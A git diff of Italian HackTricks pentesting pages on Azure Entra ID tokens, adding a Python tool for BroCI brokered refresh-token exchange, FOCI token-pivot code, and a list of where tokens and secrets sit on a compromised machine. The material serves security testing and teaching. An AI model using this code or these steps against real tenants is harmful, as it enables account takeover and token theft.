diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
index 4cfa65b73..ccf1294d7 100644
--- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
@@ -1,86 +1,86 @@
-# Az - Token & Applicazioni Pubbliche
+# Az - Token e Applicazioni Pubbliche
{{#include ../../../banners/hacktricks-training.md}}
## Informazioni di base
-Entra ID è la piattaforma di identity and access management (IAM) cloud di Microsoft, che funge da sistema fondamentale di autenticazione e autorizzazione per servizi come Microsoft 365 e Azure Resource Manager. Azure AD implementa il framework di autorizzazione OAuth 2.0 e il protocollo di autenticazione OpenID Connect (OIDC) per gestire l'accesso alle risorse.
+Entra ID è la piattaforma Microsoft per la gestione delle identità e degli accessi (IAM) basata sul cloud, che funge da sistema fondamentale di autenticazione e autorizzazione per servizi come Microsoft 365 e Azure Resource Manager. Azure AD implementa il framework di autorizzazione OAuth 2.0 e il protocollo di autenticazione OpenID Connect (OIDC) per gestire l'accesso alle risorse.
### OAuth
**Partecipanti chiave in OAuth 2.0:**
-1. **Resource Server (RS):** Protegge le risorse possedute dal resource owner.
-2. **Resource Owner (RO):** Tipicamente un utente finale che possiede le risorse protette.
-3. **Client Application (CA):** Un'applicazione che richiede accesso alle risorse per conto del resource owner.
-4. **Authorization Server (AS):** Emette access token alle client application dopo averle autenticate e autorizzate.
+1. **Server di risorse (RS):** Protegge le risorse possedute dal proprietario della risorsa.
+2. **Proprietario della risorsa (RO):** Tipicamente un utente finale che possiede le risorse protette.
+3. **Applicazione client (CA):** Un'applicazione che richiede accesso alle risorse per conto del proprietario della risorsa.
+4. **Server di autorizzazione (AS):** Emette access token alle applicazioni client dopo averle autenticato e autorizzate.
-**Scopes e consenso:**
+**Ambiti e Consenso:**
-- **Scopes:** Permessi granulari definiti sul resource server che specificano i livelli di accesso.
-- **Consent:** Il processo tramite il quale un resource owner concede a una client application il permesso di accedere a risorse con specifici scopes.
+- **Ambiti (Scopes):** Permessi granulari definiti sul server di risorse che specificano i livelli di accesso.
+- **Consenso:** Il processo mediante il quale il proprietario della risorsa concede a un'applicazione client il permesso di accedere alle risorse con ambiti specifici.
**Integrazione con Microsoft 365:**
- Microsoft 365 utilizza Azure AD per IAM ed è composto da molteplici applicazioni OAuth "first-party".
- Queste applicazioni sono profondamente integrate e spesso hanno relazioni di servizio interdipendenti.
- Per semplificare l'esperienza utente e mantenere la funzionalità, Microsoft concede "implied consent" o "pre-consent" a queste applicazioni first-party.
-- **Consenso implicito:** Alcune applicazioni sono automaticamente **concesse l'accesso a specifici scopes senza approvazione esplicita dell'utente o dell'amministratore**.
-- Questi scopes pre-consentiti sono tipicamente nascosti sia agli utenti sia agli amministratori, rendendoli meno visibili nelle interfacce di gestione standard.
+- **Implied Consent:** Alcune applicazioni vengono automaticamente **concesse l'accesso a specifici ambiti senza il consenso esplicito dell'utente o dell'amministratore**.
+- Questi ambiti pre-consentiti sono tipicamente nascosti sia agli utenti sia agli amministratori, rendendoli meno visibili nelle interfacce di gestione standard.
-**Tipi di Client Application:**
+**Tipi di Applicazioni Client:**
1. **Confidential Clients:**
- Possiedono credenziali proprie (es. password o certificati).
-- Possono **autenticarsi in modo sicuro** verso l'authorization server.
+- Possono **autenticarsi in modo sicuro** al server di autorizzazione.
2. **Public Clients:**
- Non hanno credenziali uniche.
-- Non possono autenticarsi in modo sicuro verso l'authorization server.
-- **Implicazione di sicurezza:** Un attaccante può impersonare una public client application durante la richiesta di token, dato che non esiste un meccanismo per l'authorization server per verificare la legittimità dell'applicazione.
+- Non possono autenticarsi in modo sicuro al server di autorizzazione.
+- **Implicazione di sicurezza:** Un attaccante può impersonare un'applicazione client pubblica quando richiede token, poiché non esiste un meccanismo per il server di autorizzazione per verificare la legittimità dell'applicazione.
-## Token di autenticazione
+## Token di Autenticazione
Esistono **tre tipi di token** usati in OIDC:
-- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Il client presenta questo token al resource server per **accedere alle risorse**. Può essere usato solo per una specifica combinazione di utente, client e risorsa e **non può essere revocato** fino alla scadenza — che di default è 1 ora.
-- **ID Tokens**: Il client riceve questo **token dall'authorization server**. Contiene informazioni di base sull'utente. È **vincolato a una specifica combinazione di utente e client**.
-- **Refresh Tokens**: Fornito al client insieme all'access token. Usato per **ottenere nuovi access e ID token**. È vincolato a una specifica combinazione di utente e client e può essere revocato. La scadenza predefinita è **90 giorni** per i refresh token inattivi e **nessuna scadenza per i token attivi** (da un refresh token è possibile ottenere nuovi refresh token).
-- Un refresh token dovrebbe essere legato a un **`aud`**, ad alcuni **scopes**, e a un **tenant** e dovrebbe poter generare solo access token per quell'aud, quei scopes (e non di più) e quel tenant. Tuttavia, questo non è il caso con i token di **FOCI applications**.
-- Un refresh token è crittografato e solo Microsoft può decrittarlo.
-- Ottenere un nuovo refresh token non revoca il refresh token precedente.
+- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Il client presenta questo token al resource server per **accedere alle risorse**. Può essere usato solo per una specifica combinazione di utente, client e risorsa e **non può essere revocato** fino alla scadenza - che per default è 1 ora.
+- **ID Tokens**: Il client riceve questo **token dal server di autorizzazione**. Contiene informazioni di base sull'utente. È **vincolato a una specifica combinazione di utente e client**.
+- **Refresh Tokens**: Forniti al client insieme all'access token. Usati per **ottenere nuovi access e ID token**. Sono vincolati a una specifica combinazione di utente e client e possono essere revocati. La scadenza di default è **90 giorni** per i refresh token inattivi e **nessuna scadenza per i token attivi** (essendo possibile ottenere nuovi refresh token da un refresh token).
+- Un refresh token dovrebbe essere legato a un `aud`, ad alcuni **scopes**, e a un **tenant** e dovrebbe essere in grado di generare solo access token per quell'aud, quegli scopes (e non oltre) e quel tenant. Tuttavia, questo non è il caso con i **token delle applicazioni FOCI**.
+- Un refresh token è cifrato e solo Microsoft può decifrarlo.
+- Ottenere un nuovo refresh token non revoca il precedente refresh token.
> [!WARNING]
-> Le informazioni per l'**accesso condizionale** sono **memorizzate** all'interno del **JWT**. Quindi, se richiedi il **token da un indirizzo IP consentito**, quell'**IP** sarà **memorizzato** nel token e poi potrai usare quel token da un **IP non consentito per accedere alle risorse**.
+> Le informazioni per l'**accesso condizionale** sono **memorizzate** all'interno del **JWT**. Quindi, se richiedi il **token da un IP consentito**, quell'**IP** sarà **memorizzato** nel token e poi puoi usare quel token da un **IP non consentito per accedere alle risorse**.
### Access Tokens "aud"
Il valore indicato nel campo "aud" è il **resource server** (l'applicazione) utilizzato per effettuare il login.
-Il comando `az account get-access-token --resource-type [...]` supporta i seguenti tipi e ciascuno di essi aggiungerà un "aud" specifico nell'access token risultante:
+Il comando `az account get-access-token --resource-type [...]` supporta i seguenti tipi e ognuno di essi aggiungerà un "aud" specifico nell'access token risultante:
> [!CAUTION]
-> Nota che quanto segue sono solo le API supportate da `az account get-access-token`, ma ce ne sono altre.
+> Nota che quanto segue sono solo le API supportate da `az account get-access-token` ma ce ne sono di più.
-Esempi di aud
+aud examples
-- **aad-graph (Azure Active Directory Graph API)**: Usato per accedere alla legacy Azure AD Graph API (deprecata), che permette alle applicazioni di leggere e scrivere dati della directory in Azure Active Directory (Azure AD).
+- **aad-graph (Azure Active Directory Graph API)**: Usato per accedere alla legacy Azure AD Graph API (deprecata), che permette alle applicazioni di leggere e scrivere dati di directory in Azure Active Directory (Azure AD).
- `https://graph.windows.net/`
-* **arm (Azure Resource Manager)**: Usato per gestire risorse Azure tramite l'Azure Resource Manager API. Include operazioni come creare, aggiornare e eliminare risorse come macchine virtuali, account di storage e altro.
+* **arm (Azure Resource Manager)**: Usato per gestire le risorse Azure tramite l'API Azure Resource Manager. Questo include operazioni come creare, aggiornare e cancellare risorse come macchine virtuali, account di storage e altro.
- `https://management.core.windows.net/ or https://management.azure.com/`
- **batch (Azure Batch Services)**: Usato per accedere ad Azure Batch, un servizio che abilita applicazioni di calcolo parallelo e ad alte prestazioni su larga scala nel cloud.
- `https://batch.core.windows.net/`
-* **data-lake (Azure Data Lake Storage)**: Usato per interagire con Azure Data Lake Storage Gen1, un servizio scalabile di storage e analytics.
+* **data-lake (Azure Data Lake Storage)**: Usato per interagire con Azure Data Lake Storage Gen1, un servizio scalabile di storage e analisi dati.
- `https://datalake.azure.net/`
-- **media (Azure Media Services)**: Usato per accedere ad Azure Media Services, che fornisce servizi cloud per l'elaborazione e la distribuzione di media video e audio.
+- **media (Azure Media Services)**: Usato per accedere ad Azure Media Services, che fornisce servizi cloud per l'elaborazione e la distribuzione di contenuti video e audio.
- `https://rest.media.azure.net`
-* **ms-graph (Microsoft Graph API)**: Usato per accedere alla Microsoft Graph API, l'endpoint unificato per i dati dei servizi Microsoft 365. Permette di accedere a dati e insight da servizi come Azure AD, Office 365, Enterprise Mobility e servizi di Security.
+* **ms-graph (Microsoft Graph API)**: Usato per accedere alla Microsoft Graph API, l'endpoint unificato per i dati dei servizi Microsoft 365. Permette di accedere a dati e informazioni da servizi come Azure AD, Office 365, Enterprise Mobility e servizi di Security.
- `https://graph.microsoft.com`
- **oss-rdbms (Azure Open Source Relational Databases)**: Usato per accedere ai servizi Database di Azure per motori relazionali open-source come MySQL, PostgreSQL e MariaDB.
@@ -88,13 +88,13 @@ Il comando `az account get-access-token --resource-type [...]` supporta i seguen
-### Access Tokens Scopes "scp"
+### Scope degli Access Tokens "scp"
-Lo scope di un access token è memorizzato nella chiave scp dentro l'access token JWT. Questi scopes definiscono a cosa ha accesso l'access token.
+Lo scope di un access token è memorizzato nella chiave scp all'interno del JWT dell'access token. Questi ambiti definiscono a cosa l'access token ha accesso.
-Se un JWT è autorizzato a contattare una specifica API ma **non ha lo scope** per eseguire l'azione richiesta, **non potrà eseguire l'azione** con quel JWT.
+Se un JWT è autorizzato a contattare una specifica API ma **non ha lo scope** per eseguire l'azione richiesta, **non sarà in grado di eseguire l'azione** con quel JWT.
-### Esempio: ottenere refresh & access token
+### Esempio per ottenere refresh & access token
```python
# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
@@ -151,24 +151,25 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api)
- **acr**: The Authentication Context Class Reference claim è "0" quando l'autenticazione dell'utente finale non ha soddisfatto i requisiti di ISO/IEC 29115.
- **amr**: The Authentication method indica come il token è stato autenticato. Un valore “pwd” indica che è stata usata una password.
- **groups**: Indica i gruppi di cui il principal è membro.
-- **iss**: L'issuer identifica lo security token service (STS) che ha generato il token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (l'uuid è il tenant ID)
+- **iss**: L'iss identifica lo Security Token Service (STS) che ha generato il token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
- **oid**: L'object ID del principal
- **tid**: Tenant ID
-- **iat, nbf, exp**: Issued at (quando è stato emesso), Not before (non può essere usato prima di questo momento, solitamente stesso valore di iat), Expiration time.
+- **iat, nbf, exp**: Issued at (quando è stato emesso), Not before (non può essere usato prima di questo tempo, solitamente stesso valore di iat), Expiration time.
+
## FOCI Tokens Privilege Escalation
-In precedenza è stato menzionato che i refresh tokens dovrebbero essere vincolati agli **scopes** con cui sono stati generati, all'**application** e al **tenant** per cui sono stati generati. Se uno di questi confini viene violato, è possibile effettuare privilege escalation in quanto sarà possibile generare access tokens per altre risorse e tenant a cui l'utente ha accesso e con più scopes rispetto a quanto previsto originariamente.
+In precedenza è stato menzionato che refresh tokens dovrebbero essere vincolati agli **scopes** con cui sono stati generati, all'**application** e al **tenant** a cui sono stati generati. Se uno qualsiasi di questi confini viene violato, è possibile effettuare privilege escalation poiché sarà possibile generare access tokens per altre risorse e tenant a cui l'utente ha accesso e con più scopes di quanto originariamente previsto.
Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
-Inoltre, nota che le applicazioni FOCI sono public applications, quindi **non è necessario alcun secret** per autenticarsi al server.
+Inoltre, nota che le FOCI applications sono public applications, quindi **no secret is needed** per autenticarsi al server.
-I client FOCI noti riportati nella [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) possono essere [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
+I FOCI clients noti riportati nella [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) possono essere [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
-### Ottenere uno scope diverso
+### Get different scope
-Continuando con l'esempio di codice precedente, in questo codice viene richiesto un nuovo token per uno scope diverso:
+Seguendo l'esempio di codice precedente, in questo codice viene richiesto un nuovo token per uno scope diverso:
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
@@ -185,7 +186,7 @@ scopes=[
)
pprint(azure_cli_bearer_tokens_for_outlook_api)
```
-### Ottenere client e scopes diversi
+### Ottieni client e scopes diversi
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
@@ -201,30 +202,360 @@ scopes=["https://graph.microsoft.com/.default"],
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
```
-## Dove trovare tokens
+## NAA / BroCI (Nested App Authentication / Broker Client Injection)
-Dal punto di vista di un attaccante è molto utile sapere dove è possibile trovare access and refresh tokens quando, per esempio, il PC di una vittima viene compromesso:
+A BroCI refresh tokens is a brokered token exchange pattern where an existing refresh token is used with extra broker parameters to request tokens as another trusted first-party app.
-- Inside **`/.Azure`**
-- **`azureProfile.json`** contiene informazioni sugli utenti che hanno effettuato il login in passato
-- **`clouds.config contains`** info about subscriptions
-- **`service_principal_entries.json`** contiene le credenziali delle applicazioni (tenant id, clients e secret). Solo in Linux & macOS
+These refresh tokens must be minted in that broker context (a regular refresh token usually cannot be used as a BroCI refresh token).
+
+### Obiettivo e scopo
+
+Lo scopo di BroCI è riutilizzare una sessione utente valida da una catena di app compatibili con broker e richiedere token per una diversa coppia app/risorsa di fiducia. Questo permette di "escalare i privilegi" dal token originale.
+
+Dal punto di vista offensivo, questo è importante perché:
+
+- Può sbloccare percorsi di app first-party pre-consensuate non accessibili con normali refresh exchanges.
+- Può restituire access token per API ad alto valore (per esempio, Microsoft Graph) sotto identità di app con ampi permessi delegati.
+- Espande le opportunità di token pivoting post-authentication oltre il classico switching di client FOCI.
+
+Ciò che cambia in un NAA/BroCI refresh token non è il formato visibile del token, ma il **contesto di emissione** e i metadati legati al broker che Microsoft verifica durante le operazioni di refresh brokered.
+
+NAA/BroCI token exchanges are **not** the same as a regular OAuth refresh exchange.
+
+- A regular refresh token (for example obtained via device code flow) is usually valid for standard `grant_type=refresh_token` operations.
+- A BroCI request includes additional broker context (`brk_client_id`, broker `redirect_uri`, and `origin`).
+- Microsoft validates whether the presented refresh token was minted in a matching brokered context.
+- Therefore, many "normal" refresh tokens fail in BroCI requests with errors such as `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant").
+- You generally cannot "convert" a normal refresh token into a BroCI-valid one in code.
+- You need a refresh token already issued by a compatible brokered flow.
+
+Check the web **** to find BroCI configured apps and the trust relationships they have.
+
+### Modello mentale
+
+Pensa a BroCI come:
+
+`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
+
+Se una qualsiasi parte di quella catena broker non corrisponde, lo scambio fallisce.
+
+### Dove trovare un BroCI-valid refresh token
+
+One practical way is browser portal traffic collection:
+
+1. Accedi a `https://entra.microsoft.com` (or Azure portal).
+2. Apri DevTools -> Network.
+3. Filtra per:
+- `oauth2/v2.0/token`
+- `management.core.windows.net`
+4. Individua la risposta contenente il token brokered e copia `refresh_token`.
+5. Usa quel refresh token con i parametri BroCI corrispondenti (`brk_client_id`, `redirect_uri`, `origin`) quando richiedi token per app target (per esempio scenari ADIbizaUX / Microsoft_Azure_PIMCommon).
+
+### Errori comuni
+
+- `AADSTS900054`: Il contesto del refresh token non corrisponde alla tupla broker fornita (`brk_client_id` / `redirect_uri` / `origin`) o il token non proviene da un flow portal brokered.
+- `AADSTS7000218`: Il client flow selezionato richiede una credenziale confidenziale (`client_secret`/assertion), spesso visto quando si prova device code con un client non pubblico.
+
+
+Helper Python per BroCI refresh (broci_auth.py)
+```python
+#!/usr/bin/env python3
+"""
+Python implementation of EntraTokenAid Broci refresh flow.
+
+Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
+- brk_client_id
+- redirect_uri
+- Origin header
+
+Usage:
+python3 broci_auth.py --refresh-token ""
+
+How to obtain a Broci-valid refresh token (authorized testing only):
+1) Open https://entra.microsoft.com and sign in.
+2) Open browser DevTools -> Network.
+3) Filter requests for:
+- "oauth2/v2.0/token"
+- "management.core.windows.net"
+4) Locate the portal broker token response and copy the "refresh_token" value
+(the flow should be tied to https://management.core.windows.net//).
+5) Use that token with this script and Broci params:
+
+python3 broci_auth.py \
+--refresh-token "" \
+--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
+--tenant "organizations" \
+--api "graph.microsoft.com" \
+--scope ".default offline_access" \
+--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
+--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
+--origin "https://entra.microsoft.com" \
+--token-out
+"""
+
+import argparse
+import base64
+import datetime as dt
+import json
+import re
+import sys
+import urllib.error
+import urllib.parse
+import urllib.request
+from typing import Any
+
+
+GUID_RE = re.compile(
+r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
+)
+OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
+
+
+def resolve_api_scope_url(api: str, scope: str) -> str:
+"""
+Match Resolve-ApiScopeUrl behavior from the PowerShell module.
+"""
+if GUID_RE.match(api):
+base_resource = api
+elif api.lower().startswith("urn:") or "://" in api:
+base_resource = api
+else:
+base_resource = f"https://{api}"
+
+base_resource = base_resource.rstrip("/")
+
+resolved: list[str] = []
+for token in scope.split():
+if not token.strip():
+continue
+if "://" in token:
+resolved.append(token)
+elif token.lower().startswith("urn:"):
+resolved.append(token)
+elif token in OIDC_SCOPES:
+resolved.append(token)
+elif GUID_RE.match(token):
+resolved.append(f"{token}/.default")
+else:
+normalized = ".default" if token in {"default", ".default"} else token
+resolved.append(f"{base_resource}/{normalized}")
+
+return " ".join(resolved)
+
+
+def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
+parts = jwt_token.split(".")
+if len(parts) != 3:
+raise ValueError("Invalid JWT format.")
+payload = parts[1]
+padding = "=" * ((4 - len(payload) % 4) % 4)
+decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
+return json.loads(decoded.decode("utf-8"))
+
+
+def refresh_broci_token(
+refresh_token: str,
+client_id: str,
+scope: str,
+api: str,
+tenant: str,
+user_agent: str,
+origin: str | None,
+brk_client_id: str | None,
+redirect_uri: str | None,
+disable_cae: bool,
+) -> dict[str, Any]:
+api_scope_url = resolve_api_scope_url(api=api, scope=scope)
+
+headers = {
+"User-Agent": user_agent,
+"X-Client-Sku": "MSAL.Python",
+"X-Client-Ver": "1.31.0",
+"X-Client-Os": "win32",
+"Content-Type": "application/x-www-form-urlencoded",
+}
+if origin:
+headers["Origin"] = origin
+
+body: dict[str, str] = {
+"grant_type": "refresh_token",
+"client_id": client_id,
+"scope": api_scope_url,
+"refresh_token": refresh_token,
+}
+if not disable_cae:
+body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
+if brk_client_id:
+body["brk_client_id"] = brk_client_id
+if redirect_uri:
+body["redirect_uri"] = redirect_uri
+
+data = urllib.parse.urlencode(body).encode("utf-8")
+token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
+req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
+
+try:
+with urllib.request.urlopen(req) as resp:
+raw = resp.read().decode("utf-8")
+except urllib.error.HTTPError as e:
+err_raw = e.read().decode("utf-8", errors="replace")
+try:
+err_json = json.loads(err_raw)
+short = err_json.get("error", "unknown_error")
+desc = err_json.get("error_description", err_raw)
+raise RuntimeError(f"{short}: {desc}") from None
+except json.JSONDecodeError:
+raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
+
+tokens = json.loads(raw)
+if "access_token" not in tokens:
+raise RuntimeError("Token endpoint response did not include access_token.")
+return tokens
+
+
+def main() -> int:
+parser = argparse.ArgumentParser(
+description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
+)
+parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
+parser.add_argument(
+"--client-id",
+default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
+help="Client ID (default: Azure CLI).",
+)
+parser.add_argument(
+"--scope",
+default=".default offline_access",
+help="Scopes (default: '.default offline_access').",
+)
+parser.add_argument(
+"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
+)
+parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
+parser.add_argument(
+"--user-agent",
+default="python-requests/2.32.3",
+help="User-Agent sent to token endpoint.",
+)
+parser.add_argument("--origin", default=None, help="Optional Origin header.")
+parser.add_argument(
+"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
+)
+parser.add_argument(
+"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
+)
+parser.add_argument(
+"--disable-cae",
+action="store_true",
+help="Disable CAE claims in token request.",
+)
+parser.add_argument(
+"--token-out",
+action="store_true",
+help="Print access/refresh tokens in output.",
+)
+parser.add_argument(
+"--disable-jwt-parsing",
+action="store_true",
+help="Do not parse JWT claims.",
+)
+
+args = parser.parse_args()
+
+print("[*] Sending request to token endpoint")
+try:
+tokens = refresh_broci_token(
+refresh_token=args.refresh_token,
+client_id=args.client_id,
+scope=args.scope,
+api=args.api,
+tenant=args.tenant,
+user_agent=args.user_agent,
+origin=args.origin,
+brk_client_id=args.brk_client_id,
+redirect_uri=args.redirect_uri,
+disable_cae=args.disable_cae,
+)
+except Exception as e:
+print(f"[!] Error: {e}", file=sys.stderr)
+return 1
+
+expires_in = int(tokens.get("expires_in", 0))
+expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
+tokens["expiration_time"] = expiration_time
+
+print(
+"[+] Got an access token and a refresh token"
+if tokens.get("refresh_token")
+else "[+] Got an access token (no refresh token requested)"
+)
+
+if not args.disable_jwt_parsing:
+try:
+jwt_payload = parse_jwt_payload(tokens["access_token"])
+audience = jwt_payload.get("aud", "")
+print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
+tokens["scp"] = jwt_payload.get("scp")
+tokens["tenant"] = jwt_payload.get("tid")
+tokens["user"] = jwt_payload.get("upn")
+tokens["client_app"] = jwt_payload.get("app_displayname")
+tokens["client_app_id"] = args.client_id
+tokens["auth_methods"] = jwt_payload.get("amr")
+tokens["ip"] = jwt_payload.get("ipaddr")
+tokens["audience"] = audience
+if isinstance(audience, str):
+tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
+if "xms_cc" in jwt_payload:
+tokens["xms_cc"] = jwt_payload.get("xms_cc")
+except Exception as e:
+print(f"[!] JWT parse error: {e}", file=sys.stderr)
+return 1
+else:
+print(f"[i] Expires at: {expiration_time}")
+
+if args.token_out:
+print("\nAccess Token:")
+print(tokens.get("access_token", ""))
+if tokens.get("refresh_token"):
+print("\nRefresh Token:")
+print(tokens["refresh_token"])
+
+print("\nToken object (JSON):")
+print(json.dumps(tokens, indent=2))
+return 0
+
+
+if __name__ == "__main__":
+raise SystemExit(main())
+```
+
+
+## Dove trovare i token
+
+Dal punto di vista di un attacker è molto interessante sapere dove è possibile trovare access and refresh tokens quando, ad esempio, il PC di una vittima è compromesso:
+
+- All'interno di **`/.Azure`**
+- **`azureProfile.json`** contiene informazioni sugli utenti autenticati in passato
+- **`clouds.config contains`** contiene informazioni sulle sottoscrizioni
+- **`service_principal_entries.json`** contiene le credenziali delle applicazioni (tenant id, client e secret). Solo in Linux & macOS
- **`msal_token_cache.json`** contiene access tokens e refresh tokens. Solo in Linux & macOS
-- **`service_principal_entries.bin`** and msal_token_cache.bin sono usati in Windows e sono criptati con DPAPI
+- **`service_principal_entries.bin`** e msal_token_cache.bin sono usati in Windows e sono criptati con DPAPI
- **`msal_http_cache.bin`** è una cache di richieste HTTP
-- Load it: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
-- **`AzureRmContext.json`** contiene informazioni su login precedenti effettuati con Az PowerShell (ma senza credenziali)
-- Inside **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** ci sono diversi file `.bin` con **access tokens**, ID tokens e informazioni sull'account criptate con il DPAPI dell'utente.
-- È possibile trovare altri **access tokens** nei file `.tbres` dentro **`C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\`**, che contengono un base64 criptato con DPAPI con access tokens.
-- In Linux e macOS puoi ottenere **access tokens, refresh tokens and id tokens** da Az PowerShell (se usato) eseguendo `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
+- Per caricarlo: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
+- **`AzureRmContext.json`** contiene informazioni sui login precedenti usando Az PowerShell (ma senza credenziali)
+- All'interno di **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** ci sono diversi file `.bin` con **access tokens**, ID tokens e informazioni dell'account criptate con il DPAPI dell'utente.
+- È possibile trovare altri **access tokens** nei file `.tbres` all'interno di **`C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\`**, che contengono una base64 criptata con DPAPI contenente access tokens.
+- In Linux e macOS puoi ottenere **access tokens, refresh tokens e id tokens** da Az PowerShell (se usato) eseguendo `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
- In Windows questo genera solo id tokens.
-- È possibile verificare se Az PowerShell è stato usato in Linux e macOS controllando se esiste `$HOME/.local/share/.IdentityService/` (anche se i file contenuti sono vuoti e inutili)
-- Se l'utente è **logged inside Azure with the browser**, secondo questo [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) è possibile avviare il flusso di autenticazione con un **redirect to localhost**, far sì che il browser autorizzi automaticamente il login e ricevere il refresh token. Nota che ci sono poche applicazioni FOCI che permettono il redirect a localhost (come az cli o il powershell module), quindi queste applicazioni devono essere consentite.
-- Un'altra opzione spiegata nel blog è usare lo strumento [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) che può usare qualsiasi applicazione perché **otterrà l'OAuth code per poi ottenere un refresh token dal titolo della pagina di auth finale** usando il redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`.
+- È possibile verificare se Az PowerShell è stato usato su Linux e macOS controllando se esiste `$HOME/.local/share/.IdentityService/` (anche se i file contenuti sono vuoti e inutili)
+- Se l'utente è **loggato in Azure tramite il browser**, secondo questo [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) è possibile avviare il flow di autenticazione con un **redirect to localhost**, far sì che il browser autorizzi automaticamente il login e ricevere il refresh token. Nota che ci sono solo poche applicazioni FOCI che permettono il redirect to localhost (come az cli o il modulo powershell), quindi queste applicazioni devono essere permesse.
+- Un'altra opzione spiegata nel blog è usare lo strumento [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) che può usare qualsiasi applicazione perché otterrà **il codice OAuth per poi ottenere un refresh token dal titolo della pagina di autenticazione finale** usando il redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`.
## Riferimenti
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
+- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
+- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
index 989d943c6..02476925b 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
@@ -3,15 +3,15 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
-> Nota che **non tutte le autorizzazioni granulari** dei ruoli predefiniti in Entra ID **sono idonee per essere utilizzate in ruoli personalizzati.**
+> Nota che **non tutti i permessi granulari** che i ruoli predefiniti hanno in Entra ID **sono eleggibili per essere usati nei ruoli personalizzati.**
